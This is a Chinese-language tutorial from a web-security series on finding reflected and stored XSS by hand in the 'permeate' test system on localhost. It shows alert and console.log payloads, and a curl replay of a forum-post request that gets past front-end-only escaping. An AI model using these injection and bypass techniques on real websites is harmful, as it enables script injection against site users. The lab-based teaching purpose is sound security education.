前言

在前些章節 （web安全系列（一）：XSS 攻擊基礎及原理）以及（Web安全系列（二）：XSS 攻擊進階（初探 XSS Payload））中，我詳細介紹了 XSS 形成的原理以及 XSS 攻擊的分類，並且編寫了一個小栗子來展示出 XSS Payload 的危害。

目前來說，XSS 的漏洞型別主要分為三類：反射型、儲存型、DOM型，在本篇文章當中會以permeate生態測試系統為例，分析網站功能，引導攻擊思路，幫助讀者能夠快速找出網站可能存在的漏洞。

反射型 XSS 挖掘

現在筆者需要進行手工XSS漏洞挖掘，在手工挖掘之前筆者需要先逛逛網站有哪些功能點，如下圖是permeate的介面

思路分析

我們知道反射型 XSS ，大多是通過 URL 傳播的，那麼我就需要思考哪些地方會出現讓 URL 地址的引數在頁面中顯示，我相信大部分讀者腦中第一直覺就是搜尋欄，尤其是一些大型網站的站內搜尋，搜尋的關鍵詞會展示在當前的頁面中。例如某搜尋引擎：

而在我們測試的首頁也有網站搜尋功能，因此我們可以從搜尋功能著手測試，嘗試是否可以進行 XSS Payload，我們先輸入一個簡單的 Payload 進行測試，測試程式碼為<img onerror="alert(1)" src=1 />

當我們點選搜尋按鈕時，URL 應當自動改變為 http://localhost:8888/home/search.php?keywords=<img onerror="alert(1)" src=1 />

操作過程

我們進行嘗試：

先輸入搜尋內容

再進行搜尋

我們發現，Google Chrome 居然直接阻止了該事件，Payload 也沒有進行觸發，這裡我就需要跟讀者說一下了，Chrome 瀏覽器的核心自帶 XSS 篩選器，對於反射型 XSS 會自動進行攔截，所以儘量不要用 Chrome 進行測試，我們改用火狐繼續進行測試：

果然，直接觸發了我們的 Payload 。

結果分析

此 Payload 被觸發，說明我們找到了一個反射型 XSS 的漏洞，當然，這種漏洞非常初級，絕大部分網站都進行了過濾操作，再加上隨著瀏覽器功能越來越強大，瀏覽器自帶的 XSS 篩選器變得更加智慧，這種漏洞會越來越少見，下面我將會測試更為常見的儲存型 XSS 的挖掘與並介紹如何繞過。

儲存型 XSS 挖掘

思路分析

儲存型 XSS 的攻擊程式碼是存在伺服器端，因此，我們需要找到該網站將資料儲存到後端的功能，我們對此網站有了一定了解，會發現 permeate 擁有發帖和回帖功能，這正是 Web 端和後臺進行溝通的渠道，所有帖子資訊都會存在服務端，有了這些資訊，我們可以進入板塊，進行發帖操作：

進入發帖介面：

檢測漏洞

我們現在標題和內容裡填上初級的 Payload ：123<script>alert(`123`)</script>

我們進行發表操作：

頁面直接執行了我們的 Payload，我們點完確定，檢視列表：

我們進入帖子內部，會發現如下場景：

很明顯，文章主體部分的 Payload 並沒有執行，這到底是怎麼一回事呢？

抓包

為什麼標題內容可以 Payload，主體內容不能 Payload 呢，我們開啟控制檯，切到Network 再來發一篇帖子看看：

我們可以看到對應的內容已經經過轉義，轉義分為兩種，前端轉義和後端轉義，如果是後端轉義通常我們就不需要測試下去了，因為我們不知道服務端的內部程式碼，如果是前端轉義則可以繞過這個限制。

那麼該如何操作呢？

我們拷貝出 URL

curl `http://localhost:8888/home/_fatie.php?bk=5&zt=0` -H `Connection: keep-alive` -H `Cache-Control: max-age=0` -H `Origin: http://localhost:8888` -H `Upgrade-Insecure-Requests: 1` -H `Content-Type: application/x-www-form-urlencoded` -H `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36` -H `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8` -H `Referer: http://localhost:8888/home/fatie.php?bk=5` -H `Accept-Encoding: gzip, deflate, br` -H `Accept-Language: zh-CN,zh;q=0.9,en;q=0.8` -H `Cookie: PHPSESSID=7690435026da386df8a80e63f3da2089` --data `csrf_token=9191&bk=5&title=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E&content=%3Cp%3E123%26lt%3Bscript%26gt%3Bconsole.log%28232%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E` --compressed

找到其中的 title 和 content，將 content 的內容替換為 title 的內容：

curl `http://localhost:8888/home/_fatie.php?bk=5&zt=0` -H `Connection: keep-alive` -H `Cache-Control: max-age=0` -H `Origin: http://localhost:8888` -H `Upgrade-Insecure-Requests: 1` -H `Content-Type: application/x-www-form-urlencoded` -H `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36` -H `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8` -H `Referer: http://localhost:8888/home/fatie.php?bk=5` -H `Accept-Encoding: gzip, deflate, br` -H `Accept-Language: zh-CN,zh;q=0.9,en;q=0.8` -H `Cookie: PHPSESSID=7690435026da386df8a80e63f3da2089` --data `csrf_token=9191&bk=5&title=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E&content=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E` --compressed

替換完成之後，將此內容複製到終端進行執行：

回到主頁面檢視相關內容：

Payload 執行了兩次，內容也被攻擊了。

結果分析

看到此處說明我們已經成功繞過前端XSS過濾器，直接對內容進行修改，所以後端的轉義有時候也很有必要。

總結

挖掘漏洞是一個複雜的過程，手工挖掘不失為一種可靠的方式，但是手動挖掘效率低下，有時還要看運氣，目前已經出現很多自動檢測 XSS 漏洞的工具以及平臺，大大提高發現漏洞的效率，我將在稍後的章節中介紹一些工具以及如何防禦 XSS。